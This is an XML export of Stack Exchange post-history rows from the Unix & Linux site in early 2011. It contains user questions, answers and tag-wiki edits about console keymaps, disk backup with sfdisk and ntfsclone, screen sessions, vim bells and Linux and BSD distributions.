  <row Id="11782" PostHistoryTypeId="2" PostId="5302" RevisionGUID="f071c5cf-34d5-4808-822b-20f9f3bdd264" CreationDate="2011-01-01T16:41:24.027" UserId="885" Text="This is possible if and only if the terminal sends different escape sequences for &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Left&lt;/kbd&gt; vs &lt;kbd&gt;Left&lt;/kbd&gt;. This is not the case by default on the Linux console (at least on my machine). You can make it so by modifying the keymap. The exact file to modify may depend on your distribution; on Debian lenny, the file to modify is `/etc/console/boottime.kmap.gz`. You need lines like&#xD;&#xA;&#xD;&#xA;    control keycode 105 = F100&#xD;&#xA;    string F100 = &quot;\033O5D&quot;&#xD;&#xA;    control keycode 106 = F101&#xD;&#xA;    string F100 = &quot;\033O5C&quot;&#xD;&#xA;&#xD;&#xA;You might as well choose the same escape sequences as your X terminal emulator. To find out what the control sequence is, type &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Left&lt;/kbd&gt; in a shell; this inserts (on my machine) `^[O5D` where `^[` is an escape character. In the keymap file, `\033` represents an escape character.&#xD;&#xA;&#xD;&#xA;Configuring the application in the terminal to decode the escape sequence is a separate problem, .&#xD;&#xA;" />
  <row Id="11783" PostHistoryTypeId="6" PostId="5293" RevisionGUID="37c7bf58-53ad-46c1-bd3c-5645bc466b99" CreationDate="2011-01-01T16:41:58.533" UserId="885" Comment="edited tags" Text="élinuxàéterminalàékeyboardöshortcutsà" />
  <row Id="11784" PostHistoryTypeId="2" PostId="5303" RevisionGUID="821e4af7-cb28-493f-90a5-873677cd0d5b" CreationDate="2011-01-01T17:07:05.667" UserId="29" Text="[Krita](http://www.calligra-suite.org/krita/) is quite feature rich as far as capabilities if you like KDE software, I'm not really sure how it compare's to GIMP but I seem to recall reading it's better at some things (CMYK Maybe? or what is color depth?) than the GIMP." />
  <row Id="11785" PostHistoryTypeId="5" PostId="5303" RevisionGUID="720e707c-3a27-425e-a561-f1d47d8b7419" CreationDate="2011-01-01T17:21:30.310" UserId="29" Comment="just some rewording." Text="[Krita](http://www.calligra-suite.org/krita/) is quite feature rich as far as capabilities if you like KDE software, I'm not really sure how it compare's to GIMP, as I'm I don't enjoy image editing, but I seem to recall reading it's better at some things (CMYK Maybe? or what is color depth?) than the GIMP. From what I have seen/heard it's a powerful  that most people never seem to hear about." />
  <row Id="11786" PostHistoryTypeId="5" PostId="5303" RevisionGUID="4bc24b28-27b7-4ac8-963d-26bf27ccb21a" CreationDate="2011-01-01T17:28:47.793" UserId="29" Comment="add  a comparison" Text="[Krita](http://www.calligra-suite.org/krita/) is quite feature rich as far as capabilities if you like KDE software, I'm not really sure how it compare's to GIMP, as I'm I don't enjoy image editing, but I seem to recall reading it's better at some things (CMYK Maybe? or what is color depth?) than the GIMP. From what I have seen/heard it's a powerful  that most people never seem to hear about. Here is a pre KDE 4 comparison of [Krita and the GIMP](http://www.linux.com/archive/articles/114186)." />
  <row Id="11787" PostHistoryTypeId="2" PostId="5304" RevisionGUID="362bb72a-106b-4f93-a772-080189089a1a" CreationDate="2011-01-01T18:38:35.250" UserId="1535" Text="I've picked up an [HP Simplesave](http://h10025.www1.hp.com/ewfrf/wc/manualCategory?lc=en&amp;dlc=en&amp;cc=ca&amp;product=4023094&amp;) external drive.  It comes with some fancy software that is of no use to me because I don't use Windows.  Like many current consumer-targeted backup drives, the backup software is actually contained on the drive itself.  I'd like to save the drive's initial state so that I can restore it if I decide to sell it.&#xD;&#xA;&#xD;&#xA;The backup box itself is somewhat customized: in addition to the hard drive device, it presents a CDROM-like device on `/dev/sr0`.   I gather that the purpose of this cdrom device is to bootstrap via Windows autoplay the backup application which lives on the disk itself.  I wouldn't suppose any guarantees about how it does this, so it seems important to preserve the exact state of the disk.&#xD;&#xA;&#xD;&#xA;The drive is formatted with a single 500GB NTFS partition.&#xD;&#xA;&#xD;&#xA;My initial thought was to use `dd` to dump the disk (`/dev/sdb`) itself, but this proved impractical, as the resulting file was not sparse.  This seemed to be because the NTFS empty space is not filled with zeroes, but with a repeating series of 16 bytes.&#xD;&#xA;&#xD;&#xA;I tried gzipping the output of `dd`. This reduced to the file to a manageable size — the first 18GB was compressed to 81MB, versus 47MB to tarball the contents of the mounted filesystem — but it was very slow on my admittedly somewhat derelict Pentium M processor.  The time to do that first 18GB was about 30 minutes.&#xD;&#xA;&#xD;&#xA;So I've resorted to dumping the disk state and partition data separately.&#xD;&#xA;&#xD;&#xA;-   I've dumped the partition state with&#xD;&#xA;&#xD;&#xA;        sfdisk -d /dev/sdb &gt; sfdisk.-d.out&#xD;&#xA;&#xD;&#xA;-   I've also created a compressed image of the NTFS partition (the only one on the disk) with&#xD;&#xA;&#xD;&#xA;        ntfsclone --save-image --output - /dev/sdb1 | gzip -c &gt; ntfsclone.img.gz&#xD;&#xA;&#xD;&#xA;Is there anything else I should do to ensure that I can restore the precise original state of the drive?" />
  <row Id="11788" PostHistoryTypeId="1" PostId="5304" RevisionGUID="362bb72a-106b-4f93-a772-080189089a1a" CreationDate="2011-01-01T18:38:35.250" UserId="1535" Text="How to back up initial state of external backup drive?" />
  <row Id="11789" PostHistoryTypeId="3" PostId="5304" RevisionGUID="362bb72a-106b-4f93-a772-080189089a1a" CreationDate="2011-01-01T18:38:35.250" UserId="1535" Text="ébackupàécloningàéntfsà" />
  <row Id="11790" PostHistoryTypeId="2" PostId="5305" RevisionGUID="4e2c1b64-c512-482e-ab2b-2f4051017cd7" CreationDate="2011-01-01T18:47:04.837" UserId="3357" Text="My scenario is this:&#xD;&#xA;&#xD;&#xA;I have in a remote location a screen running. Inside this screen is a console bases program that when run without screen it starts in the terminal an has several commands to monitor users that login to the program.&#xD;&#xA;&#xD;&#xA;What i want is a way to send remotely a command to screen and this command gets recieved by the console program. Maybe like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My PC -&gt; SSH Send Msg Auto -&gt; Screen Session -&gt; Program (Run command recieved)&#xD;&#xA;&#xD;&#xA;So from a remote PC i can send via ssh commands to the screen which sends them to the program. The programa accepts them and executes them." />
  <row Id="11791" PostHistoryTypeId="1" PostId="5305" RevisionGUID="4e2c1b64-c512-482e-ab2b-2f4051017cd7" CreationDate="2011-01-01T18:47:04.837" UserId="3357" Text="Screen accepting an outside command and sending it to the screened program running." />
  <row Id="11792" PostHistoryTypeId="3" PostId="5305" RevisionGUID="4e2c1b64-c512-482e-ab2b-2f4051017cd7" CreationDate="2011-01-01T18:47:04.837" UserId="3357" Text="élinuxàésshàéscreenà" />
  <row Id="11793" PostHistoryTypeId="2" PostId="5306" RevisionGUID="1795f4fc-0036-4b18-b500-107e2bf8004d" CreationDate="2011-01-01T19:41:03.763" UserId="885" Text="If I understand correctly, you want to send input to a program running inside a screen session. You can do this with screen's `stuff` command. Use screen's `-X` option to execute a command in a screen session without attaching to it.&#xD;&#xA;&#xD;&#xA;    screen -S sessionname -p windowname -X stuff 'command1&#xD;&#xA;    command2&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;If you want to see the program's output, see the `hardcopy`, `log` and `logfile` commands.&#xD;&#xA;" />
  <row Id="11794" PostHistoryTypeId="5" PostId="5305" RevisionGUID="1d8b3852-a689-4473-8105-eb26b811d68c" CreationDate="2011-01-01T19:42:48.737" UserId="885" Comment="deleted 9 characters in body; edited tags; edited title" Text="My scenario is this:&#xD;&#xA;&#xD;&#xA;I have a screen session running in a remote location. Inside this screen is a consoled-based program. When run without screen, this program starts in the terminal and accepts commands on its standard ipnut.&#xD;&#xA;&#xD;&#xA;What I want is a way to remotely send a command to screen so that this command is received by the console program. Maybe like this:&#xD;&#xA;&#xD;&#xA;My PC -&gt; SSH Send Msg Auto -&gt; Screen Session -&gt; Program (Run command recieved)&#xD;&#xA;&#xD;&#xA;So from a remote PC I can send via ssh commands to the screen which sends them to the program. The program accepts them and executes them." />
  <row Id="11795" PostHistoryTypeId="4" PostId="5305" RevisionGUID="1d8b3852-a689-4473-8105-eb26b811d68c" CreationDate="2011-01-01T19:42:48.737" UserId="885" Comment="deleted 9 characters in body; edited tags; edited title" Text="Sending input to a screen session from outside" />
  <row Id="11796" PostHistoryTypeId="6" PostId="5305" RevisionGUID="1d8b3852-a689-4473-8105-eb26b811d68c" CreationDate="2011-01-01T19:42:48.737" UserId="885" Comment="deleted 9 characters in body; edited tags; edited title" Text="éscreenà" />
  <row Id="11797" PostHistoryTypeId="2" PostId="5307" RevisionGUID="0987d5b3-c321-40e9-b3a4-e6f51e65ede1" CreationDate="2011-01-01T19:56:08.857" UserId="885" Text="`sfdisk -d` dumps the partition table but not the rest of the boot sector, so if there was a bootloader on the disk it won't be restored. You can save the boot sector with `head -c 512 &lt;/dev/sdb &gt;bootsector.img`.&#xD;&#xA;" />
  <row Id="11798" PostHistoryTypeId="5" PostId="3696" RevisionGUID="0ef01379-70d8-408e-9d26-b95792da68bb" CreationDate="2011-01-01T20:27:46.783" UserId="885" Comment="added 2064 characters in body" Text="[Ubuntu](http://www.ubuntu.com/) &#xD;&#xA;&#xD;&#xA;### Philosophy&#xD;&#xA;&#xD;&#xA;The goal of the [Ubuntu project](http://www.ubuntu.com/project) is to provide a free computer environment, centered on a Linux distribution and complemented by online services.&#xD;&#xA;&#xD;&#xA;### Releases&#xD;&#xA;&#xD;&#xA;The core of the Ubuntu distribution contains a Gnome-based desktop environment which is tightly integrated to the system, in particular providing a GUI for hardware management and system administration. The supported core also includes other desktop environments such as KDE, although their integration is managed by side projects such as [Kubuntu](http://www.kubuntu.org/).&#xD;&#xA;&#xD;&#xA;Ubuntu includes a small amount of non-free software such as drivers. Ubuntu offers a large amount of packages directly taken from [Debian](http://unix.stackexchange.com/tags/debian/info)'s unstable distribution, in the form of the [universe repository](https://help.ubuntu.com/8.04/serverguide/C/extra-repositories.html).&#xD;&#xA;&#xD;&#xA;There is a release of Ubuntu every six months. One in four is a long-term support (LTS) release.&#xD;&#xA;&#xD;&#xA;### Derivatives&#xD;&#xA;&#xD;&#xA;Side projects of Ubuntu include:&#xD;&#xA;&#xD;&#xA;* [Edubuntu](http://www.edubuntu.org/): for use in teaching.&#xD;&#xA;* [Kubuntu](http://www.kubuntu.org/): managing the integration of KDE into Ubuntu.&#xD;&#xA;* [Mythbuntu](http://mythbuntu.org/): for media centers.&#xD;&#xA;* [Ubuntu Studio](http://ubuntustudio.org/): for multimedia production.&#xD;&#xA;* [Xubuntu](http://www.xubuntu.org/): managing the integration of Xfce into Ubuntu.&#xD;&#xA;&#xD;&#xA;### Documentation&#xD;&#xA;&#xD;&#xA;* [Official documentation](https://help.ubuntu.com/)&#xD;&#xA;* [Community documentation](https://help.ubuntu.com/community)&#xD;&#xA;* [Bug reports](https://launchpad.net/ubuntu/+bugs)&#xD;&#xA;* [Available packages](http://packages.ubuntu.com/)&#xD;&#xA;* [Third-party package repositories](https://launchpad.net/ubuntu/+ppas)&#xD;&#xA;* [Manual pages](http://manpages.ubuntu.com/) (e.g. [man(1) in 10.04](http://manpages.ubuntu.com/manpages/lucid/man1/man.1.html))&#xD;&#xA;* [Support sources](http://www.ubuntu.com/support/community)&#xD;&#xA;&#xD;&#xA;### Common tasks&#xD;&#xA;&#xD;&#xA;* Install a package: &lt;code&gt;apt-get install *package-name*&lt;/code&gt;&#xD;&#xA;* Apply updates: &lt;code&gt;apt-get update; apt-get upgrade&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;![Ubuntu][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/r1gZn.jpg&#xD;&#xA;" />
  <row Id="11799" PostHistoryTypeId="5" PostId="3697" RevisionGUID="77863e70-48f2-487f-a039-c08f7b23736c" CreationDate="2011-01-01T20:27:46.843" UserId="885" Comment="added 80 characters in body" Text="Ubuntu is a Linux distribution with an emphasis on ease of use and installation." />
  <row Id="11800" PostHistoryTypeId="5" PostId="2852" RevisionGUID="9e000ab9-4cd9-4cef-b29b-3b0365b93c51" CreationDate="2011-01-01T20:27:49.323" UserId="885" Comment="added 2358 characters in body" Text="[Debian](http://www.debian.org/) is a community-driven Linux distribution with a very large number of [packages](http://packages.debian.org/) and many supported [architectures](http://www.debian.org/ports/). Several distributions derive from it in some form, the best-known being [Ubuntu](http://unix.stackexchange.com/tags/ubuntu/info).&#xD;&#xA;&#xD;&#xA;### Philosophy&#xD;&#xA;&#xD;&#xA;The [goal](http://www.debian.org/intro/about) of the Debian project is to produce a free operating system. The [Debian Free Software Guidelines](http://www.debian.org/social_contract#guidelines) are one of the notable definitions of free software, and the [Open Source Definition](http://www.opensource.org/docs/definition.php) derives from it. Debian provides a small amount of non-free software, though it is not formally part of Debian.&#xD;&#xA;&#xD;&#xA;### Releases&#xD;&#xA;&#xD;&#xA;At any point in time, there are [three distributions](http://www.debian.org/releases/) of Debian:&#xD;&#xA;&#xD;&#xA;* [stable](http://www.debian.org/releases/stable/): the officially released distribution.&#xD;&#xA;* [testing](http://www.debian.org/releases/testing/): the preparation ground for “stable”. This can be seen as a [rolling release](http://en.wikipedia.org/wiki/Rolling_release).&#xD;&#xA;* [unstable](http://www.debian.org/releases/unstable/): the latest packages as they come in.&#xD;&#xA;&#xD;&#xA;In addition to Debian GNU/Linux, there are projects for [BSD-based versions of Debian](http://www.debian.org/ports/#nonlinux) and [Debian GNU/Hurd](http://www.debian.org/ports/hurd/).&#xD;&#xA;&#xD;&#xA;### Documentation&#xD;&#xA;&#xD;&#xA;* [FAQ](http://www.debian.org/doc/manuals/debian-faq/)&#xD;&#xA;* [Installation manual](http://www.debian.org/releases/stable/installmanual) (including supported hardware)&#xD;&#xA;* [Debian Reference](http://www.debian.org/doc/manuals/debian-reference/)&#xD;&#xA;* [Wiki](http://wiki.debian.org/)&#xD;&#xA;* [Mailing list archives](http://lists.debian.org/)&#xD;&#xA;* [Security information](http://www.debian.org/security/)&#xD;&#xA;* [Bug reports](http://bugs.debian.org/) (`http://bugs.debian.org/42` to see bug #42)&#xD;&#xA;* [Available packages](http://packages.debian.org/) (quick search: `http://packages.debian.org/package-name`)&#xD;&#xA;* [Manual pages](http://manpages.debian.net/) (e.g. [man(1)](http://manpages.debian.net/cgi-bin/man.cgi?query=man&amp;sektion=1))&#xD;&#xA;&#xD;&#xA;### Common tasks&#xD;&#xA;&#xD;&#xA;* Install a package: &lt;code&gt;apt-get install *package-name*&lt;/code&gt;&#xD;&#xA;* Apply updates: &lt;code&gt;apt-get update; apt-get upgrade&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11801" PostHistoryTypeId="2" PostId="5308" RevisionGUID="994f4361-5c10-4f02-8453-797b446caf82" CreationDate="2011-01-01T20:58:32.773" UserId="885" Text="[OpenBSD](http://www.openbsd.org/) is a BSD variant with a strong emphasis on security.&#xD;&#xA;&#xD;&#xA;### Philosophy&#xD;&#xA;&#xD;&#xA;The OpenBSD project emphasizes [security](http://www.openbsd.org/security.html) and has long been a proponent of [cryptography](http://www.openbsd.org/crypto.html). [OpenSSH](http://www.openssh.com/), the most common implementation of [SSH](http://unix.stackexchange.com/tags/ssh/info), is produced by the OpenBSD project.&#xD;&#xA;&#xD;&#xA;Other [goals](http://www.openbsd.org/goals.html) of the OpenBSD project include freeness, transparency (all development work is public), and standard compliance.&#xD;&#xA;&#xD;&#xA;### Releases&#xD;&#xA;&#xD;&#xA;OpenBSD releases a new version approximately every six months.&#xD;&#xA;&#xD;&#xA;### Documentation&#xD;&#xA;&#xD;&#xA;* [Documenation and FAQ](http://www.openbsd.org/faq/index.html)&#xD;&#xA;* [Hardware support](http://www.openbsd.org/plat.html)&#xD;&#xA;* [Installation guide](http://www.openbsd.org/faq/faq4.html)&#xD;&#xA;* [Security information](http://www.openbsd.org/security.html)&#xD;&#xA;* [Bug tracker](http://www.openbsd.org/query-pr.html)&#xD;&#xA;* [Additional packages (ports)](http://www.openbsd.org/faq/faq15.html)&#xD;&#xA;* [Manual pages](http://www.openbsd.org/cgi-bin/man.cgi), e.g. [man(1)](http://www.openbsd.org/cgi-bin/man.cgi?query=man&amp;sektion=1)&#xD;&#xA;* [Mailing lists](http://www.openbsd.org/mail.html)&#xD;&#xA;&#xD;&#xA;### Common tasks&#xD;&#xA;&#xD;&#xA;* Install a package: `pkg_add ` (requires [`PKG_PATH`](http://www.openbsd.org/faq/faq15.html#Easy) to be set)&#xD;&#xA;" />
  <row Id="11802" PostHistoryTypeId="2" PostId="5309" RevisionGUID="78e803dd-7a26-44e7-8436-55ca25814c17" CreationDate="2011-01-01T20:58:32.773" UserId="885" Text="OpenBSD is a BSD variant with a strong emphasis on security." />
  <row Id="11803" PostHistoryTypeId="5" PostId="5290" RevisionGUID="458b31db-426a-4616-baf0-1f326c7834ee" CreationDate="2011-01-01T21:07:51.253" UserId="73" Comment="added 43 characters in body; edited tags; edited title" Text="Is there any advanced project management FLOSS that has [resource leveling][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Resource_leveling" />
  <row Id="11804" PostHistoryTypeId="4" PostId="5290" RevisionGUID="458b31db-426a-4616-baf0-1f326c7834ee" CreationDate="2011-01-01T21:07:51.253" UserId="73" Comment="added 43 characters in body; edited tags; edited title" Text="Project management software recommendation" />
  <row Id="11805" PostHistoryTypeId="6" PostId="5290" RevisionGUID="458b31db-426a-4616-baf0-1f326c7834ee" CreationDate="2011-01-01T21:07:51.253" UserId="73" Comment="added 43 characters in body; edited tags; edited title" Text="ésoftwareörecàéopensourceöprojectsà" />
  <row Id="11806" PostHistoryTypeId="2" PostId="5310" RevisionGUID="e2337dc0-15ce-4533-aed3-5f63229cfdd8" CreationDate="2011-01-01T21:12:10.487" UserId="3404" Text="How can I disable bells/visualbells in vim?&#xD;&#xA;&#xD;&#xA;I've tried:&#xD;&#xA;&#xD;&#xA;    set noeb&#xD;&#xA;    set novb&#xD;&#xA;.. but nothing has changed afaik.&#xD;&#xA;&#xD;&#xA;Just to be clear, I'm referring to the visual bell I get in vim when I do something that doesn't do anything, for exmaple pressing `ESC` in normal mode, or pressing `h` in  on col 0." />
  <row Id="11807" PostHistoryTypeId="1" PostId="5310" RevisionGUID="e2337dc0-15ce-4533-aed3-5f63229cfdd8" CreationDate="2011-01-01T21:12:10.487" UserId="3404" Text="How can I disable bells/visualbells in vim?" />
  <row Id="11808" PostHistoryTypeId="3" PostId="5310" RevisionGUID="e2337dc0-15ce-4533-aed3-5f63229cfdd8" CreationDate="2011-01-01T21:12:10.487" UserId="3404" Text="évimà" />
  <row Id="11809" PostHistoryTypeId="6" PostId="3196" RevisionGUID="d2a3e258-8069-4070-804f-a050f0312b1f" CreationDate="2011-01-01T21:42:54.563" UserId="885" Comment="edited tags" Text="élinuxàéunixàéhistoryà" />
  <row Id="11810" PostHistoryTypeId="5" PostId="1902" RevisionGUID="2a96a529-2148-40d4-98b7-dd1d50a6e817" CreationDate="2011-01-01T21:44:30.973" UserId="885" Comment="added 2385 characters in body" Text="Unix is the topic of this site. Use this tag only on questions that are not tied to a particular unix variant (e.g. [tag:linux], [tag:freebsd], [tag:solaris], …) or to a particular application. Even then, you should look for a more specific tag.&#xD;&#xA;&#xD;&#xA;Unix is an operating system that was initially developed at AT&amp;T Bell Labs as a simpler [Multics](http://en.wikipedia.org/wiki/Multics). Since then, there have been many operating systems based on Unix, at least reproducing the interfaces if not the design and sometimes the code.&#xD;&#xA;&#xD;&#xA;### Legal status&#xD;&#xA;&#xD;&#xA;The original Unix code is proprietary software, originally owned by AT&amp;T and licensed by several companies. This spurned several groups into developing independent code bases with similar design. The best known are [tag:bsd] and [tag:linux].&#xD;&#xA;&#xD;&#xA;UNIX® is a registered trade mark owned by [The Open Group](http://www.opengroup.org/). Only [certified](http://www.opengroup.org/platform/unix_certification/) products may use the [brand](http://www.unix.org/what_is_unix/the_brand.html).&#xD;&#xA;&#xD;&#xA;In informal usage, “unix” or “Unix” or “Un*x” or “*nix” can mean any Unix-like system, whether it is derived from the original code or not, and whether it has the brand or not.&#xD;&#xA;&#xD;&#xA;### Unix variants&#xD;&#xA;&#xD;&#xA;Derived from the original Unix code:&#xD;&#xA;&#xD;&#xA;* [tag:aix] AIX (IBM)&#xD;&#xA;* [tag:solaris], [tag:opensolaris] Solaris (historically Sun, now Oracle)&#xD;&#xA;* [tag:sco] SCO OpenServer&#xD;&#xA;* [tag:hp-ux] HP/UX (Hewlett-Packard)&#xD;&#xA;&#xD;&#xA;Derived from BSD:&#xD;&#xA;&#xD;&#xA;* [tag:darwin] Darwin, the core of [Mac OS X](http://unix.stackexchange.com/tags/osx/info)&#xD;&#xA;* [tag:freebsd] FreeBSD&#xD;&#xA;* [tag:netbsd] NetBSD&#xD;&#xA;* [tag:openbsd] OpenBSD&#xD;&#xA;&#xD;&#xA;Others:&#xD;&#xA;&#xD;&#xA;* [tag:linux] Linux, with many [distributions](http://unix.stackexchange.com/tags/distros/info)&#xD;&#xA;* [tag:minix] Minix&#xD;&#xA;&#xD;&#xA;(And [many more](http://www.levenez.com/unix/) that have not (yet) been discussed on this site.)&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Evolution of Operating systems from Unix](http://unix.stackexchange.com/questions/3196/evolution-of-operating-systems-from-unix)&#xD;&#xA;* [Why is there a * When There is Mention of Unix Throughout the Internet?](http://unix.stackexchange.com/questions/2342/why-is-there-a-when-there-is-mention-of-unix-throughout-the-internet)&#xD;&#xA;* [Is Linux a Unix?](http://unix.stackexchange.com/questions/4091/is-linux-a-unix)&#xD;&#xA;* [Is Mac OS X, UNIX?](http://unix.stackexchange.com/questions/1489/is-mac-os-x-unix)&#xD;&#xA;" />
  <row Id="11811" PostHistoryTypeId="5" PostId="1903" RevisionGUID="683963e6-5d6d-456d-97cb-cbc6e73fb2a2" CreationDate="2011-01-01T21:44:31.050" UserId="885" Comment="deleted 19 characters in body" Text="Unix is the topic of this site." />
  <row Id="11812" PostHistoryTypeId="2" PostId="5311" RevisionGUID="5887ce49-5df3-444d-bcd3-abeb10fdeea9" CreationDate="2011-01-01T21:52:12.497" UserId="885" Text="This tag is about the history of Unix systems and their main components. For the recall of past commands in shells and other applications, use [tag:command-history].&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Evolution of Operating systems from Unix](http://unix.stackexchange.com/questions/3196/evolution-of-operating-systems-from-unix)&#xD;&#xA;&#xD;&#xA;External links:&#xD;&#xA;&#xD;&#xA;* [Wikipedia article](http://en.wikipedia.org/wiki/Unix)&#xD;&#xA;* [Simplified Unix timeline](http://www.levenez.com/unix/)&#xD;&#xA;" />
  <row Id="11813" PostHistoryTypeId="2" PostId="5312" RevisionGUID="ba67efc0-076a-40ed-9957-f74379e85031" CreationDate="2011-01-01T21:52:12.497" UserId="885" Text="The history of Unix systems and their main components." />
  <row Id="11814" PostHistoryTypeId="2" PostId="5313" RevisionGUID="1c468248-0e5a-40e1-8630-2387c282ca9a" CreationDate="2011-01-01T22:06:40.823" UserId="885" Text="To disable the bell altogether, you need to&#xD;&#xA;&#xD;&#xA;* *enable* vim's internal visual bell¹, with `set visualbell` (= `set vb`);&#xD;&#xA;* set the effect of the vim visual bell to do nothing, with `set t_vb=`&#xD;&#xA;&#xD;&#xA;(This is explained in the documentation of `'visualbell'`, but not very clearly.)&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;Even with `novisualbell`, you might see a visual bell if vim emits a bell control sequence (usually `\a`) and the terminal is configured to flash rather than make a sound.&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="11815" PostHistoryTypeId="5" PostId="1902" RevisionGUID="8f80f3aa-1457-4315-bcb0-f822c10f0209" CreationDate="2011-01-01T22:24:47.817" UserId="885" Comment="mention standards" Text="Unix is the topic of this site. Use this tag only on questions that are not tied to a particular unix variant (e.g. [tag:linux], [tag:freebsd], [tag:solaris], …) or to a particular application. Even then, you should look for a more specific tag.&#xD;&#xA;&#xD;&#xA;Unix is an operating system that was initially developed at AT&amp;T Bell Labs as a simpler [Multics](http://en.wikipedia.org/wiki/Multics). Since then, there have been many operating systems based on Unix, at least reproducing the interfaces if not the design and sometimes the code.&#xD;&#xA;&#xD;&#xA;### Legal status&#xD;&#xA;&#xD;&#xA;The original Unix code is proprietary software, originally owned by AT&amp;T and licensed by several companies. This spurned several groups into developing independent code bases with similar design. The best known are [tag:bsd] and [tag:linux].&#xD;&#xA;&#xD;&#xA;UNIX® is a registered trade mark owned by [The Open Group](http://www.opengroup.org/). Only [certified](http://www.opengroup.org/platform/unix_certification/) products may use the [brand](http://www.unix.org/what_is_unix/the_brand.html).&#xD;&#xA;&#xD;&#xA;In informal usage, “unix” or “Unix” or “Un*x” or “*nix” can mean any Unix-like system, whether it is derived from the original code or not, and whether it has the brand or not.&#xD;&#xA;&#xD;&#xA;### Standards&#xD;&#xA;&#xD;&#xA;The [POSIX](http://en.wikipedia.org/wiki/POSIX) and [Single UNIX](http://en.wikipedia.org/wiki/Single_Unix) standards codify many interfaces for programmers and command-line users.&#xD;&#xA;&#xD;&#xA;* [The Single UNIX® Specification, Version 2](http://pubs.opengroup.org/onlinepubs/7990989775/) (a superset of the original POSIX, which is IEEE 1003 and ISO/IEC 9945)&#xD;&#xA;* [The Open Group Base Specifications Issue 6](http://pubs.opengroup.org/onlinepubs/009695399/), which is also the Single UNIX Specification version 3 and POSIX:2001&#xD;&#xA;* [The Open Group Base Specifications Issue 7](http://pubs.opengroup.org/onlinepubs/9699919799/), which is also the Single UNIX Specification version 4 and POSIX:2008&#xD;&#xA;&#xD;&#xA;System administration is not so standardized and varies greatly from one variant to the next. (See the [Rosetta Stone for Unix](http://bhami.com/rosetta.html) for an overview.)&#xD;&#xA;&#xD;&#xA;### Unix variants&#xD;&#xA;&#xD;&#xA;Derived from the original Unix code:&#xD;&#xA;&#xD;&#xA;* [tag:aix] AIX (IBM)&#xD;&#xA;* [tag:solaris], [tag:opensolaris] Solaris (historically Sun, now Oracle)&#xD;&#xA;* [tag:sco] SCO OpenServer&#xD;&#xA;* [tag:hp-ux] HP/UX (Hewlett-Packard)&#xD;&#xA;&#xD;&#xA;Derived from BSD:&#xD;&#xA;&#xD;&#xA;* [tag:darwin] Darwin, the core of [Mac OS X](http://unix.stackexchange.com/tags/osx/info)&#xD;&#xA;* [tag:freebsd] FreeBSD&#xD;&#xA;* [tag:netbsd] NetBSD&#xD;&#xA;* [tag:openbsd] OpenBSD&#xD;&#xA;&#xD;&#xA;Others:&#xD;&#xA;&#xD;&#xA;* [tag:linux] Linux, with many [distributions](http://unix.stackexchange.com/tags/distros/info)&#xD;&#xA;* [tag:minix] Minix&#xD;&#xA;&#xD;&#xA;POSIX emulation layers on non-unix operating systems:&#xD;&#xA;&#xD;&#xA;* [tag:windows]&#xD;&#xA;    * [tag:cygwin]&#xD;&#xA;&#xD;&#xA;(And [many more](http://www.levenez.com/unix/) that have not (yet) been discussed on this site.)&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Evolution of Operating systems from Unix](http://unix.stackexchange.com/questions/3196/evolution-of-operating-systems-from-unix)&#xD;&#xA;* [Why is there a * When There is Mention of Unix Throughout the Internet?](http://unix.stackexchange.com/questions/2342/why-is-there-a-when-there-is-mention-of-unix-throughout-the-internet)&#xD;&#xA;* [Is Linux a Unix?](http://unix.stackexchange.com/questions/4091/is-linux-a-unix)&#xD;&#xA;* [Is Mac OS X, UNIX?](http://unix.stackexchange.com/questions/1489/is-mac-os-x-unix)&#xD;&#xA;" />
  <row Id="11816" PostHistoryTypeId="2" PostId="5314" RevisionGUID="d5e27011-39db-4f6b-9c01-e629765196ab" CreationDate="2011-01-01T22:24:51.250" UserId="885" Text="" />
  <row Id="11817" PostHistoryTypeId="2" PostId="5315" RevisionGUID="02c71375-4c7e-44fb-9c61-81c55e5825fa" CreationDate="2011-01-01T22:24:51.250" UserId="885" Text="Use this tag for interoperability with Windows (dual boot, virtual machines, mixed networks, porting software, …)" />
  <row Id="11818" PostHistoryTypeId="2" PostId="5316" RevisionGUID="dba559a8-1311-45d3-9af1-f106cfeb9b6e" CreationDate="2011-01-01T23:22:40.677" UserId="2362" Text="I. I want to do a simple graph from timestamp `YEAR-month-day` to `valuation`, not wanting to use spreadsheets. Is there some ASCII tool for it to see it on CLI? There are over 500k lines of data, and I want to see only a sketch of it like in Ascii:&#xD;&#xA;&#xD;&#xA;    Value&#xD;&#xA;    |          *&#xD;&#xA;    |    *   *   *&#xD;&#xA;    |  *   *       *   *&#xD;&#xA;    |*               *&#xD;&#xA;    |----------------------&gt; Timestamp&#xD;&#xA;&#xD;&#xA;II. Then, I want to see allocation like in pizza slices:&#xD;&#xA;&#xD;&#xA;            - - -&#xD;&#xA;         -\       -&#xD;&#xA;       -    \ World -&#xD;&#xA;      - Food \ Index -&#xD;&#xA;       -    /  \   -&#xD;&#xA;         - /oil \-&#xD;&#xA;            - - -&#xD;&#xA;&#xD;&#xA;I know how-to-get grappy CSV data in Python but totally newbie in visualization:&#xD;&#xA;&#xD;&#xA;    import csv&#xD;&#xA;    csv_reader = csv.reader(open('data.csv', 'rb'), delimiter=';')&#xD;&#xA;    for row in csv_reader:&#xD;&#xA;        # do something with row....&#xD;&#xA;&#xD;&#xA;Before I do my own ASCII visualization thing, I want to know whether such thing exists. How do you visualize your portfolio in ASCII?&#xD;&#xA;" />
  <row Id="11819" PostHistoryTypeId="1" PostId="5316" RevisionGUID="dba559a8-1311-45d3-9af1-f106cfeb9b6e" CreationDate="2011-01-01T23:22:40.677" UserId="2362" Text="Which tools for ASCII portfolio visualization?" />
